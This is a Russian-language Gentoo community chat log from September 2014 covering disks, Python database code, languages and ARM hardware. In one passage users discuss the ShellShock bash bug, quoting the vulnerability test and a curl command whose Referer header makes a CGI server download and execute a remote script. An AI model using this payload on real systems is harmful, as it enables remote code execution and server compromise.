gentoo.ru
Общение на окологентушные темы
gentoo@conference.gentoo.ru
Четверг, 25 сентября 2014< ^ >
winterheart установил(а) тему: Gentoo Linux || FAQ: http://www.gentoo.ru/faq || Вставки более 3 строк → app-text/wgetpaste || Логи: http://gentoo.ru/jabber/logs/ || Языками чешут в talks@conference.gentoo.ru ||  Фортунки http://fortunes.gentoo.ru || Gentoo.RU переехал целиком на Yandex || Gentoo Iron Penguin
Конфигурация комнаты
Участники комнаты

GMT+4
[00:22:45] <Magistr> http://habrahabr.ru/post/237887/ о свежая статистика по умираниям дисков
[00:22:55] <Magistr> и опять хомячки про свои единичные случаи пишут
[00:23:41] magog вошёл(а) в комнату
[00:31:42] beelzebubbie вышел(а) из комнаты
[00:32:20] <Magistr> http://habrahabr.ru/company/croc/blog/237757/ отличный спор с Jdima по поводу наколенных решений
[00:49:31] Mellon вышел(а) из комнаты
[00:51:04] Mellon вошёл(а) в комнату
[00:57:05] Mellon вышел(а) из комнаты
[00:57:55] Mellon вошёл(а) в комнату
[01:09:49] Civilian вышел(а) из комнаты: Replaced by new connection
[01:09:59] Civilian вошёл(а) в комнату
[01:12:41] slepnoga вышел(а) из комнаты
[01:17:41] Mellon вышел(а) из комнаты
[01:21:38] Mellon вошёл(а) в комнату
[01:53:15] GoodWin вышел(а) из комнаты
[01:58:54] bober2000 вышел(а) из комнаты
[02:14:17] ASM вошёл(а) в комнату
[02:27:14] ASM вышел(а) из комнаты
[02:39:34] krigstask вошёл(а) в комнату
[04:14:02] hitecnologys вышел(а) из комнаты
[04:55:43] reonaydo вошёл(а) в комнату
[05:22:41] nordwind вошёл(а) в комнату
[05:23:29] <nordwind> утр
[05:49:49] bsd вышел(а) из комнаты
[06:24:01] eegorov вошёл(а) в комнату
[06:26:25] maxggxam вышел(а) из комнаты: Replaced by new connection
[06:26:35] maxggxam вошёл(а) в комнату
[06:51:51] edgbla вышел(а) из комнаты
[06:58:34] edgbla вошёл(а) в комнату
[08:09:00] slepnoga вошёл(а) в комнату
[08:47:51] magog вышел(а) из комнаты
[09:02:40] stalkernova вышел(а) из комнаты
[09:02:50] stalkernova вошёл(а) в комнату
[09:11:28] bober2000 вошёл(а) в комнату
[09:31:09] beelzebubbie вошёл(а) в комнату
[09:40:48] Desu вошёл(а) в комнату
[09:51:25] GoodWin вошёл(а) в комнату
[09:59:35] backbone вошёл(а) в комнату
[10:07:28] <bober2000> http://ic.pics.livejournal.com/merleblanc84/72357974/21664/21664_original.jpg
[10:29:04] <nordwind> креатив
[10:29:30] slepnoga вышел(а) из комнаты: Replaced by new connection
[10:29:40] slepnoga вошёл(а) в комнату
[10:49:17] krigstask вышел(а) из комнаты: Datorn somnade
[11:01:48] ruda вышел(а) из комнаты
[11:06:46] stalkernova вышел(а) из комнаты
[11:08:06] stalkernova вошёл(а) в комнату
[11:27:30] slepnoga вышел(а) из комнаты
[11:39:46] slepnoga вошёл(а) в комнату
[11:45:43] Ёж вышел(а) из комнаты
[11:46:18] Ёж вошёл(а) в комнату
[11:46:47] Ёж вышел(а) из комнаты
[11:47:08] Ёж вошёл(а) в комнату
[11:47:59] Ёж вышел(а) из комнаты
[11:48:32] Ёж вошёл(а) в комнату
[12:00:36] Львёна вышел(а) из комнаты
[12:00:46] Львёна вошёл(а) в комнату
[12:05:54] slepnoga вышел(а) из комнаты
[12:10:41] slepnoga вошёл(а) в комнату
[12:10:51] slepnoga вышел(а) из комнаты
[12:16:11] slepnoga вошёл(а) в комнату
[12:23:29] 0xd34df00d вошёл(а) в комнату
[12:25:28] 0xd34df00d вышел(а) из комнаты: Disconnected: closed
[12:26:21] 0xd34df00d вошёл(а) в комнату
[12:32:37] 0xd34df00d вышел(а) из комнаты: Disconnected: Replaced by new connection
[12:32:47] 0xd34df00d вошёл(а) в комнату
[12:40:25] Civilian вышел(а) из комнаты
[12:51:17] CarelessChaser вышел(а) из комнаты
[12:56:03] CarelessChaser вошёл(а) в комнату
[12:57:20] Civilian вошёл(а) в комнату
[13:06:19] Ёж вышел(а) из комнаты
[13:06:53] Ёж вошёл(а) в комнату
[13:07:58] Ёж вышел(а) из комнаты
[13:08:32] Ёж вошёл(а) в комнату
[13:13:43] reonaydo вышел(а) из комнаты: Отключён
[13:21:32] <olegon> ShellShock уже обсудили?
[13:24:06] <olegon> http://www.cnews.ru/top/2014/09/25/v_linux_i_unix_naydena_masshtabnaya_mnogoletnyaya_dyra_587002
[13:25:15] <olegon> я пока не понимаю напрочь, как эту "многолетнюю дыру" можно использовать?
[13:28:38] ruda вошёл(а) в комнату
[13:31:16] <Civilian> olegon: bashdoor в смысле?
[13:31:33] <olegon> Civilian: ну да, название дали, ShellShock
[13:31:37] <Civilian> olegon: писали уже - что если по какой-то причине у тебя есть веб-сервер и cgi скрипты то можно выполнять произвольный код
[13:31:48] <Civilian> если в cgi есть вызовы аля system
[13:31:52] <olegon> вово
[13:31:59] <olegon> а еще можно рута дать
[13:32:00] <Civilian> olegon: я б не сказал что это очень критично...
[13:32:31] <olegon> мне кажется, что это опасно для всякого мусора только
[13:33:50] <Civilian> olegon: теоретически можно имея доступ к ПК тоже поразвлекаться с юзерами на нем
[13:34:03] <Civilian> или сделать установщик софта кривой
[13:34:05] CarelessChaser вышел(а) из комнаты
[13:34:45] <olegon> имхо, если из под кого-то значимого, то можно и проще сделать, а повысить привилегии можно только на шлаке каком-то
[13:35:08] <olegon> env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
[13:35:17] <Civilian> ну я не могу придумать эксплуатацию такой штуки
[13:35:27] <olegon> вот я с этого и начал
[13:35:53] <mva> olegon: это уже боян
[13:35:58] <mva> новый с редиректом круче
[13:36:04] <olegon> хотя тут : http://www.theregister.co.uk/2014/09/24/bash_shell_vuln/ есть пример с вгетом
[13:36:11] <olegon> mva: где почитать?
[13:36:47] <mva> https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ckro7be
[13:37:05] <olegon> спасибо
[13:38:53] <Civilian> mva: да как бы оно такое же полезное
[13:39:11] <mva> Civilian: только оно работает даже после фикса на первое
[13:39:11] <mva> :)
[13:39:23] <mva> так что это аж два CVE в баше за два дня
[13:39:23] <Civilian> mva: я имею в виду что опасность низкая
[13:39:28] <mva> bash — РЕШЕТО
[13:39:38] <mva> Civilian: не скажи
[13:39:46] <Civilian> mva: ну а чем оно опасно?
[13:40:19] <mva> вот этим:
  curl -v paste.pirate-party.ru -H 'Referer: () { :; }; /usr/bin/wget -O /tmp/check http://paste.pirate-party.ru/R32TRHBY.txt; chmod 777 /tmp/check; /tmp/check'
[13:40:42] <mva> (я там вырубил bashe'скрипт, так что не сработает)
[13:41:02] <mva> но в три захода (ngx больше одной команды не выполнял) я вполне выполнил этот бекдор
[13:41:39] <mva> с рерайтом можно быть чуть поумнее и выполнить за счёт другого скрипта
[13:41:59] <Civilian> mva: я так и не понял за счет чего у тебя это сработало
[13:42:03] <mva> s/рерайтом/редиректом/
[13:42:14] <mva> Civilian: у меня пастилка на баше написана была
[13:42:19] <Civilian> ааа
[13:42:20] <Civilian> ну блин
[13:42:23] <mva> т.е. cgi-скрипт через fcgi-враппер
[13:42:55] <Civilian> mva: это попадает под категорию " <olegon> мне кажется, что это опасно для всякого мусора только"
[13:42:57] <mva> оно, вообще, работает почти на любом cgi
[13:43:09] <Civilian> mva: ну не надо выставлять наружу CGI
[13:43:17] <olegon> то-то у меня в последнее время народ cgi искал
[13:43:54] <Civilian> mva: если у тебя во вне смотрит cgi-скрипт через fcgi-враппер или просто cgi скрипт - то это уже повод задуматься что тут что-то неправильно...
[13:46:55] Ёж вышел(а) из комнаты
[13:46:56] <mva> ну почему
[13:47:03] <mva> веками же работает
[13:47:13] <mva> на том же иее/пейпеле, вроде, ещ недавно cgi был
[13:47:29] Ёж вошёл(а) в комнату
[13:47:43] <Civilian> mva: то что работает веками - не значит что это вообще правильно так делать, нет? )
[13:47:56] <mva> конечно
[13:48:04] <mva> хотя есть люди, которые считают, что значит
[13:48:15] <mva> (даже неприменительно к шеллшоку)
[13:48:22] <mva> и у меня от них припекает
[13:48:33] <Civilian> mva: а что за люди?
[13:48:54] <mva> рандомные IRL и в интернетах
[13:49:01] <mva> я даже имена/ники не запоминаю уже :)
[13:50:40] <slepnoga> Civilian: мыл ру
[13:50:55] <slepnoga> маилман всяческий
[13:51:04] <slepnoga> панельки хостинга
[13:51:09] Ёж вышел(а) из комнаты
[13:51:09] <slepnoga> это навскидку
[13:51:13] <Civilian> slepnoga: а.... ну это пример всякой фигни
[13:51:24] Nikoli вышел(а) из комнаты
[13:51:43] Ёж вошёл(а) в комнату
[14:02:26] <slepnoga> 1-е тоже ? :)
[14:02:42] <olegon> slepnoga: в первую очередь
[14:10:17] slepnoga вышел(а) из комнаты
[14:15:45] qnikst вошёл(а) в комнату
[14:17:07] nis вошёл(а) в комнату
[14:19:16] nordwind вышел(а) из комнаты
[14:39:36] snaut вошёл(а) в комнату
[14:39:41] slepnoga вошёл(а) в комнату
[14:48:34] slepnoga вышел(а) из комнаты
[15:23:01] bober2000 вышел(а) из комнаты
[15:39:11] Desu вышел(а) из комнаты
[15:44:36] Desu вошёл(а) в комнату
[15:44:37] <Magistr> как правильно записать вот это в питоне ?
[15:45:02] <Magistr> cursor.execute('INSERT INTO frozen_time_entries(time_entry_id, project_id, project_name, user_id, user_name, issue_id, issue_subject, hours, comments, activity_id, activity_type, spent_on, tyear, tmonth, tweek, billable, bench)' \
                   'VALUES("%d","%d","%s","%d", "%s", "%d", "%s", "%f", "%s", "%d", "%s", "%s", "%d", "%d", "%d", "%d", "%s")',
                   1,1,row[16],1,row[4],1,row[0],row[2],row[17],1,row[1],row[3],2014,07,48,1)
[15:45:12] <Magistr> проблема в последней составной строке
[15:45:16] <Magistr> я что-то туплю
[15:45:33] <Civilian> Magistr:
[15:45:44] <Civilian> Magistr: ' % (твои_числа)) ?
[15:46:19] <Civilian> 1,1,row[16],1,row[4],1,row[0],row[2],row[17],1,row[1],row[3],2014,07,48,1) -> % (1,1,row[16],1,row[4],1,row[0],row[2],row[17],1,row[1],row[3],2014,07,48,1))
[15:46:23] <Civilian> я это имел в виду
[15:46:29] <Magistr> в оригинале там 1 аргумент 3й
[15:46:30] <Civilian> и запятую на прошлой строке убрать
[15:46:44] <Magistr> а ага
[15:47:29] <Civilian> Magistr: для того чтобы так не делать - скорее всего есть prepare какой-нибудь который примет строку в placeholder'ами и аргументы
[15:47:35] <Civilian> и когда нужно сам сделает примерно то же самое
[15:47:44] <Civilian> а так ты сначала составляешь строку - потом её передаешь в execute
[15:48:33] <Magistr> корректно там делалось VALUES("%d","%d","%s")',   row
[15:48:36] <Magistr> вот так
[15:49:20] <Civilian> Magistr: а кто используется то для выполнения запросов?
[15:49:35] <Civilian> Magistr: мб нужно параметры в скобках записать )
[15:49:46] <Magistr> мускуль
[15:50:04] <Civilian> Magistr: в мускуле если более 1 параметра - (1, 1, 1) а не 1,1,1 надо писать
[15:50:10] <Civilian> т.е. передавать ему tuple
[15:54:40] <Magistr> ага пасиб
[16:01:58] <Civilian> Magistr: я это в мануале нашел если что... )
[16:02:11] <Civilian> притом в мануале к pyodbc как преимущество оного над MySQL-python
[16:02:19] <Civilian> типа в нем не надо делать tuple, можно просто передать
[16:02:25] <Civilian> :)
[16:03:11] <Magistr> недогуглил до мануала )
[16:06:48] <nis> ооо
[16:06:50] <nis> питон в чате
[16:26:25] eegorov вышел(а) из комнаты
[16:58:58] <nis> Magistr: ты за питон взялся?
[16:59:06] <nis> кстати как у тебя с отоплением?
[17:00:15] <0xd34df00d> Питон не нужен.
[17:00:29] <Magistr> nis: ну местами
[17:00:34] <Magistr> nis: нет отопления
[17:01:02] <Magistr> nis: несказалбы что взялся просто таска ипортнуть из csv в мускуль
[17:01:07] <nis> Magistr: ааа
[17:01:17] <nis> ну я такое делал, только на пхп когда-то
[17:01:22] <nis> а потом на питоне
[17:01:25] <nis> 0xd34df00d: тебе да
[17:04:02] <0xd34df00d> nis: не только мне.
[17:04:15] <nis> только тебе
[17:04:15] <0xd34df00d> В нашем отделе вообще никто питон не юзает, например.
[17:04:22] <nis> ну то ваш отдел
[17:04:38] <0xd34df00d> Уже как минимум не толькою
[17:04:39] <nis> а в нашем уже как минимум 2 тулзы на нём написаны из частоиспользуемых
[17:04:46] <0xd34df00d> Лоул.
[17:04:53] <0xd34df00d> Ну то ваш отдел ;]
[17:05:09] <Magistr> 0xd34df00d: для мелкоспритовых задач питон нужен
[17:05:16] <nis> на нём портажи написаны
[17:05:37] <nis> и ещё много чего в линуксе
[17:06:07] <0xd34df00d> nis: ну это совсем не аргумент.
[17:06:24] <0xd34df00d> Magistr: хз, другие инструменты удобнее имхо.
[17:06:34] <nis> 0xd34df00d: например?
[17:06:38] <0xd34df00d> Не могу найти ниши, где питон бы был лучше.
[17:07:13] <Magistr> 0xd34df00d: сисадминская мелкая автоматизация
[17:07:23] <nis> IPython
[17:07:41] <nis> 0xd34df00d: прототипирование для математики
[17:07:49] <nis> и прочих расчётов
[17:07:51] <0xd34df00d> nis: шелл для общего скриптинга, R для матана и статов, сцылаб для матана, хачкель для парсинга и матана.
[17:08:03] <0xd34df00d> nis: питон там далеко не лучший.
[17:08:10] <Magistr> 0xd34df00d: когда начианаешь програмировать на шелле вот тогда питон ок
[17:08:19] <nis> 0xd34df00d: шелл ужас
[17:08:41] <0xd34df00d> Ну, я его не трогаю, смотрю, на чем тут вещи всякие.
[17:08:48] <nis> когда тебе требует что-то сложнее чем парочка условий, он превращается в брейнфак
[17:09:22] <nis> R экзотик
[17:09:49] <nis> хачкель программистов можно посчитать по пальцам максимум двух рук
[17:09:53] <nis> одного человека
[17:10:10] <0xd34df00d> R нифига не экзотик
[17:10:11] <nis> веб уи на нём писать грусно
[17:10:29] <nis> а питон он легко дружится с js
[17:10:36] <nis> и с другими языками
[17:11:02] <0xd34df00d> Среди хипстоты и <<учим машинное обучение за 24 часа>>, впрочем, да, R экзотик.
[17:11:03] <nis> 0xd34df00d: тот же HP использует его в линксной части своих программ
[17:11:29] <nis> 0xd34df00d: ты знаешь R>
[17:11:31] <nis> ?
[17:11:51] <0xd34df00d> На хачкеле (почти, sml в данном случае) написан тут прототип rtn-парсера, например.
[17:12:00] <0xd34df00d> Да, знаю.
[17:12:19] <nis> 0xd34df00d: ты используешь его в повседневном программировании?
[17:12:21] <0xd34df00d> А причем тут вебня и жс, я плохо понимаю.
[17:12:45] <0xd34df00d> nis: нет, тип задач не подразумевает.
[17:12:46] <nis> 0xd34df00d: погугли python web и поймёшь
[17:12:49] <nis> 0xd34df00d: вот
[17:12:58] <0xd34df00d> Причем тут вообще веб?
[17:13:00] <nis> следовательно у тебя ещё один мёртвый язык
[17:13:28] <nis> 0xd34df00d: а при том что связка java + python это самый встречаемый вариант
[17:13:43] <nis> в проектах средней и крупной связки
[17:13:52] <0xd34df00d> nis: почему это? На R один раз модельку построил, проанализировал, запрототипировал, и все.
[17:13:58] <0xd34df00d> Дальше на плюсах фигачишь.
[17:14:12] <0xd34df00d> Я же все равно R использую, а не питон.
[17:14:19] <0xd34df00d> Нисологика какая-то.
[17:15:04] <0xd34df00d> Иными словами, ничего мертвого.
[17:15:18] <0xd34df00d> Просто задачи соответствующие возникают редко.
[17:18:03] <nis> 0xd34df00d: редко это сколько раз в месяц?
[17:19:37] <0xd34df00d> Хз, по дням --- пять-семь.
[17:20:04] <0xd34df00d> Остальное время невычислительный матан на хаскеле.
[17:20:09] <0xd34df00d> Или продакшен на плюсах.
[17:21:32] backbone вышел(а) из комнаты
[17:22:15] <nis> понятно
[17:23:16] <nis> 0xd34df00d: ну вот у меня на питоне раз в 2 - 4 дня правки по существующим модулям, раз в неделю написание нового функционала. Иногда могу целый месяц на питоне кодить. Примерно в равных частях С и С++
[17:23:38] maxggxam вышел(а) из комнаты: Отключён
[17:23:42] <nis> до кучи всяких Makefile, QMake, CMake
[17:23:57] maxggxam вошёл(а) в комнату
[17:24:33] <0xd34df00d> Ну, а тут питона нет нигде.
[17:24:34] <0xd34df00d> Вообще.
[17:24:45] <nis> а у меня его много где
[17:24:48] <nis> так что равновесие
[17:24:50] backbone вошёл(а) в комнату
[17:24:58] <nis> 0xd34df00d: у тебя что за ос на работе?
[17:28:30] <0xd34df00d> RH 6.4.
[17:29:03] <0xd34df00d> nis: с кусками венды для запуска Терминала, который мне, правда, нафиг не нужен.
[17:29:24] <nis> 0xd34df00d: таки даже в нём есть питон
[17:29:49] <nis> а точнее системные сервисы и система установки
[17:30:05] <0xd34df00d> Ну мало ли чо там редхатовцы дергают.
[17:38:57] krigstask вошёл(а) в комнату
[17:42:30] hitecnologys вошёл(а) в комнату
[17:42:39] Nikoli вошёл(а) в комнату
[17:49:49] backbone вышел(а) из комнаты
[17:50:09] backbone вошёл(а) в комнату
[17:56:06] slepnoga вошёл(а) в комнату
[18:02:54] ruda вышел(а) из комнаты
[18:06:22] 0xd34df00d вошёл(а) в комнату
[18:15:46] jonny вошёл(а) в комнату
[18:18:17] jonny вышел(а) из комнаты
[18:30:31] snaut вышел(а) из комнаты
[18:32:52] nalcheg_ вошёл(а) в комнату
[18:37:03] <Civilian> nis: http://www.ixbt.com/news/hard/index.shtml?18/30/14
[18:39:37] nis вышел(а) из комнаты
[18:40:25] nis вошёл(а) в комнату
[18:40:26] <0xd34df00d> Я б такой купил.
[18:42:59] <Civilian> :)
[18:43:05] <Civilian> купилок много надо будет
[18:43:17] <Civilian> я думаю серверок с такой штукой, когда оно пойдет на рынок, будет стоить 5-6 тысяч евро
[18:43:33] <Civilian> может и все 10
[18:46:23] nordwind вошёл(а) в комнату
[18:47:13] <olegon> поделитесь секретом, в чем привлекательность этих процов для вас?
[18:48:24] <Civilian> olegon: м?
[18:48:32] <Civilian> olegon: в том что мы задроты? )
[18:48:41] <olegon> ну просто допиленного под него мало
[18:48:57] <olegon> я как-то хочу проникнуться любовью к ним и не получается
[18:49:05] <olegon> что хорошего-то? :)
[18:49:21] <olegon> или просто любопытно на него ставить и смотреть, как валится? :)
[18:49:39] <0xd34df00d> Чо допиленного?
[18:49:45] <0xd34df00d> Ты про софт или чо?
[18:50:01] <olegon> конечно, сама по себе железка-то зачем?
[18:50:03] <0xd34df00d> В 32 полков можно быстро конпелять.
[18:50:14] <Civilian> ааа
[18:50:18] <olegon> т.е. прелестна количеством ядер?
[18:50:21] <Civilian> olegon: надо правильные армы брать )
[18:50:23] <0xd34df00d> Генту ставишь, и все.
[18:50:28] <0xd34df00d> Чо там?
[18:50:32] 0xd34df00d вышел(а) из комнаты
[18:50:34] <Civilian> olegon: на Jetson TK1 все довольно клево работает )
[18:50:42] <Civilian> я даже думаю на него с ноута пересесть, как монитор куплю
[18:51:01] <Civilian> olegon: что значит "допиленного мало?" кстати
[18:51:24] <olegon> я так понял, что и собираться не все собирается и по производительности ядра не чета интелу
[18:55:07] <Civilian> olegon: собирается н е все, но многое - скорее кейвордов нехватает
[18:55:15] <Civilian> По производительности ядра - смотря с чем сравнивать
[18:55:18] <Civilian> и в каких задачах
[18:55:36] <Civilian> olegon: я как-то писал фуду за сколько оно собрало личкрафты
[18:55:39] <Civilian> я уже цифры не помню
[18:55:44] <Civilian> получилось не так плохо
[18:55:55] <Civilian> на уровне какого-нибудь Core i3 3-х летней давности
[18:56:03] <Civilian> мб даже побыстрее
[18:56:40] <Civilian> если тупо в сборке - у меня хромобук был медленее чем Pentium G640T на 20% при прочих равных.
[18:56:59] <Civilian> (при прочих равных - если частоту G640T снизить до частоты хромобуковского процессора)
[18:57:06] <Civilian> тегра еще побыстрее будет
[18:57:09] <Civilian> +4 ядра вместо двух
[18:57:14] <Civilian> и частоты повыше
[18:57:25] <Civilian> памяти бы еще им 4ГБ или лучше 8
[18:57:45] <slepnoga> a \to zasada :)
[18:57:52] <slepnoga> засада*
[18:58:27] <Civilian> slepnoga: ага, всякие там хромы выжирают эту всю память в лет )
[18:58:33] <slepnoga> если на нем сделать перефирию типа как у интела - то  есе прекрасные фички тит же и птопадит
[18:58:52] <slepnoga> пропадут|*
[18:59:05] <Civilian> slepnoga: какую именно переферию?
[18:59:13] <Civilian> slepnoga: тегра вполне по обвязке похожа на неттоп на атомах )
[18:59:24] <slepnoga> раму, диски , сеть, видео
[18:59:31] <slepnoga> ну и шины
[18:59:37] <Civilian> slepnoga: у тегры сеть на PCIe 1x сидит )
[18:59:44] <Civilian> реалтек десктопный
[18:59:53] <Civilian> еще один PCIe 1x на плате в виде mini-PCIe
[18:59:59] <slepnoga> тфу нафигжетыблятакоепостишь
[19:00:02] <Civilian> так у самого процессора 5 линий )
[19:00:10] <Civilian> slepnoga: лучше чем сеточка на юсб
[19:00:20] <slepnoga> 5 линий - подать ниса пожрать :-D
[19:00:45] <Civilian> slepnoga: видео там - GK20A, фактически аналог GeForce GT720
[19:00:47] <Civilian> младшего
[19:01:20] <Civilian> slepnoga: диски - ну там недо-SATA3
[19:01:32] <Civilian> по скорости ограничена 300МБ в секунду, но по фичам SATA 3.1
[19:01:50] <Civilian> рама - да, 64-х битная 1833МГц, но 2ГБ всего.
[19:02:18] <Civilian> slepnoga: оно для дома или для планшетов
[19:02:24] <Civilian> поэтому и такие характеристики
[19:02:35] <slepnoga> Civilian:  йопсов сколько ? :-D
[19:02:43] <Civilian> slepnoga: не помню, надо померять
[19:02:50] <Civilian> slepnoga: у меня как раз seagate 600 pro там
[19:02:53] <Civilian> 240ГБ
[19:02:59] <slepnoga> da ? a atom для хранилок :-Д
[19:03:13] <slepnoga> Civilian: ты не понял про йопсы
[19:03:16] <Civilian> slepnoga: ну оно конкурент неттопам максимум
[19:03:19] <Civilian> м?
[19:03:23] <slepnoga> сколько чипак умеет йопсов ?
[19:03:37] <Civilian> какой чипак?
[19:03:45] <slepnoga> сата в тегре
[19:03:47] <Civilian> slepnoga: я правда не могу понять о чем ты спрашиваешь...
[19:03:49] <slepnoga> ну понятно
[19:03:49] <Civilian> понятия не имею )
[19:03:52] <slepnoga> чро сок
[19:03:55] <slepnoga> что сок
[19:04:06] <Civilian> slepnoga: я не тестировал, а в даташитах такого не пишут )
[19:04:22] <Civilian> на sequential write посмотрел - оно по скорости соответствует САТА2
[19:04:25] <slepnoga> Civilian:  ты же понимаешь, что там все упирается в pps
[19:04:30] <Civilian> понимаю
[19:04:42] <slepnoga> все , моя убегла
[19:04:48] slepnoga вышел(а) из комнаты
[19:05:24] <Civilian> olegon: на самом деле надо ждать нормальных Cortex A57 и на них брать что-нибудь
[19:05:29] <Civilian> или хотя бы денвера
[19:06:18] <olegon> Civilian: ну вот как бы пока не понимаю причину :)
[19:06:33] <olegon> сейчас по прежнему еще играет роль производительность каждого ядра
[19:09:24] <Civilian> olegon: ну Cortex-A15 шустрый
[19:10:41] <olegon> на уровне какого-нибудь Core i3 3-х летней давности?
[19:13:21] qnikst вышел(а) из комнаты
[19:13:44] qnikst вошёл(а) в комнату
[19:17:14] <nis> olegon: ну таки не совсем
[19:21:20] <olegon> nis: превосходит i5 всеми 32 корками и не греется?
[19:22:20] <nis> olegon: не превосходит
[19:22:34] <nis> но где-то чуть ниже i3 и чуть выше core 2 duo
[19:22:45] <olegon> а зачем тогда?
[19:23:13] <nis> потребление не более 2 - 3 ватт
[19:24:55] <olegon> отдать 6 килобаксов, чтобы сэкономить на лепестричестве? :)
[19:25:04] <nis> за что 6 килобаксов?
[19:25:12] <nis> моя плата стоит 2490
[19:25:14] <nis> рублей
[19:25:42] <olegon> <Civilian> я думаю серверок с такой штукой, когда оно пойдет на рынок, будет стоить 5-6 тысяч евро
[19:25:44] <nis> за 6 килобаксов я себе возьму 64битный арм от амд
[19:25:56] <nis> два штуки платы
[19:26:35] <Civilian> nis: я ссылку кидал на хуавэйвский арм, 32 ядра, 2.6ГГц, Cortex A57
[19:26:36] <Civilian> 16нм
[19:26:41] <Civilian> о нем и речь
[19:26:53] <nis> ааг
[19:26:59] <nis> ну там таки монстр
[19:27:00] <Civilian> nis: и позиционирование как "сетевой"
[19:27:12] <Civilian> я поэтому и сказал что такая штука будет в розницу стоить тысяч 5-6 минимум
[19:27:16] <Civilian> евро притом
[19:27:26] <nis> это щас
[19:27:30] <nis> потом подешевеет
[19:27:44] <nis> Civilian: ты вспомни сколько раньше интелы стоили мощные
[19:28:17] <Civilian> nis: ну интелы мощные и сейчас дорого стоят
[19:29:15] <nis> те что стоили тогда щас стоят копейки
[19:29:33] <nis> и фактически тот же п3 это уровень а9
[19:32:27] <nis> Civilian: а вообще многоядерные армы это вещь
[19:33:16] <nis> но вот беда
[19:33:34] <nis> не существует нормальной ос которая бы разрулила всё это хозяйство
[19:33:52] <Civilian> зря нога ушел )
[19:33:55] <0xd34df00d> Э, што.
[19:33:55] <Civilian> поел бы
[19:34:10] <0xd34df00d> 32 ядра разрулить некому?
[19:34:44] <Civilian> 0xd34df00d: он намекает на то что все ОС - ужас-ужас, с багами и не эффективные
[19:34:51] <Civilian> поэтому такое клевое железо так медленно работает
[19:38:28] backbone вышел(а) из комнаты: Replaced by new connection
[19:38:38] backbone вошёл(а) в комнату
[19:39:44] <nis> Civilian: у тебя ядро выполняется лишь одним ядром процессора
[19:40:31] <Civilian> nis: прям все-все?
[19:40:35] <0xd34df00d> Шта.
[19:41:39] <nis> Civilian: потоки ядра могут выполнятся произвольно, а вот основные механизмы блокируются на одно ядро
[19:41:49] <Civilian> nis: какие основные?
[19:41:53] <0xd34df00d> Азазаз.
[19:41:59] <0xd34df00d> Основные основные.
[19:42:04] <0xd34df00d> Тупой шоле.
[19:42:09] <0xd34df00d> Не понятно?
[19:42:34] <nis> Civilian: пользовательские программные прерывания (swi), переключение контекста и прочее
[19:42:48] <nis> то что не вынесенно в поток
[19:44:01] <Civilian> nis: что-то мне подсказывает что ты как минимум частично не прав
[19:44:21] <nis> Civilian: можешь покурить соответствующую литературу
[19:44:33] <nis> для монолитных ядер так и должно быть
[19:45:29] <Civilian> nis: ты сырцы почитай
[19:45:49] <Civilian> nis: там не так просто как ты думаешь
[19:45:52] <Civilian> *как ты говоришь
[19:46:04] <nis> там всё как раз просто
[19:46:33] <nis> Civilian: представь ты садишься на стул а в это время его кто-то берёт себе
[19:46:41] <Civilian> nis: ну так один поток на ядро
[19:46:49] <Civilian> nis: каждое ядро менеджится в своем kthread'е
[19:46:49] <nis> один поток на все ядра
[19:47:07] <nis> а менеджмент процессов это отдельный функционал
[19:47:22] <nis> равно как и kthread'ы
[19:47:41] <nis> раньше было ещё хуже
[19:47:50] <nis> как щас в питоне например - BKL
[19:48:03] <nis> т.е. блокировалось целиком ядро
[19:48:11] <nis> на любой внутренний вызов
[19:48:24] <nis> щас блокируемого кода стало меньше
[19:48:42] <Civilian> nis: BKL != GIL
[19:48:45] <Civilian> хотя и похожие вещи
[19:48:46] <nis> но ещё есть куча механизмов которые не распараллелили
[19:48:57] <Civilian> и оно не BKL а GKL помоему зволось
[19:49:00] <Civilian> *звалось
[19:49:08] <nis> да
[19:49:30] <Civilian> nis: почитай таки код
[19:49:34] <Civilian> он короткий
[19:49:34] <nis> Civilian: менеджер памяти всегда должен быть один
[19:49:40] <nis> как ни крути
[19:49:44] <Civilian> меньше 800 строк
[19:50:02] <nis> Civilian: я тебе говорю то что говорят об этом разработчики
[19:50:05] <Civilian> nis: еще раз - там не так просто - параллельность есть где это возможно просто реализовать даже в softirq
[19:50:14] <Civilian> nis: ну я ж не знаю какой давности статьи ты читаешь
[19:50:19] <Civilian> может ты мне рассказываешь про ядро 2.4
[19:50:23] <Civilian> или какой-нибудь 2.6.10
[19:50:32] <nis> неа это в 3.15 ещё было актуально
[19:50:55] <Civilian> nis: более того - ну даже не распаралелено - и что с того?
[19:51:12] <Civilian> у тебя основная работа программы - заставлять ядро переключать контексты?
[19:51:14] <Civilian> тогда да, страшно
[19:52:13] <nis> Civilian: когда у тебя работа связана с тем функционалом что не подвержен многопоточности
[19:52:20] <nis> например выделение памяти
[19:52:41] <Civilian> nis: выделение памяти вообще медленный процесс
[19:53:03] <Civilian> поэтому в high-performance софте обычно запрещено пользоваться malloc'ом после того как ты начал выполнять задачу
[19:53:14] <Civilian> и что вся память должна быть преаллоцирована в момент запуска
[19:56:00] <nis> Civilian: шедуллер и балансер тоже один
[19:56:13] <nis> что накладывает некоторые издержки на систему
[19:56:23] <Civilian> nis: минимизируй колличество процессов
[19:56:30] <Civilian> чтобы не было переключений контекста лишних
[19:56:37] <nis> дело не в контекстах
[19:56:48] <nis> а в том чтобы к примеру работать с тем же диском
[19:57:17] <nis> если оба процесса на разных ядрах обратятся к одной дисковой системе то получается задержка
[19:57:33] <Nikoli> Civilian: привет, ты среди проксей есть?
[19:57:35] <nis> т.к. сначала обработается один а потом другой
[19:57:40] <Civilian> Nikoli: неа
[19:57:53] <nis> Nikoli: qnikst же
[19:58:09] <Civilian> nis: а как ты хочешь обработать два параллельно?
[19:58:16] <Civilian> если диск может все равно обработать только одного
[19:58:39] <nis> Civilian: обработать можно парралельно - например поставить в очередь
[19:58:41] <Nikoli> qnikst: можешь сделать 'mv -v media-video/mpv/mpv-0.5.{0,4}.ebuild' ?
[19:58:58] <nis> что логичней всего
[19:58:58] <Civilian> nis: ок, а как ты себе представляешь очередь многопоточную?
[19:59:03] nalcheg_ вышел(а) из комнаты
[19:59:17] <Civilian> nis: как бы дисковый шедулер при aio примерно такое и сделает в итоге - поставит в очередь, обработает, известит
[19:59:28] <nis> Civilian: вопрос в том что если ты захочешь в этот момент почитать то будет медленно
[19:59:35] nalcheg_ вошёл(а) в комнату
[19:59:41] <nis> в независимости от того есть у тебя это в кэше или нет
[19:59:50] <Civilian> nis: диск может обработать один запрос - если ты захочешь почитать пока у тебя идет запись - у тебя все равно будет все медлено
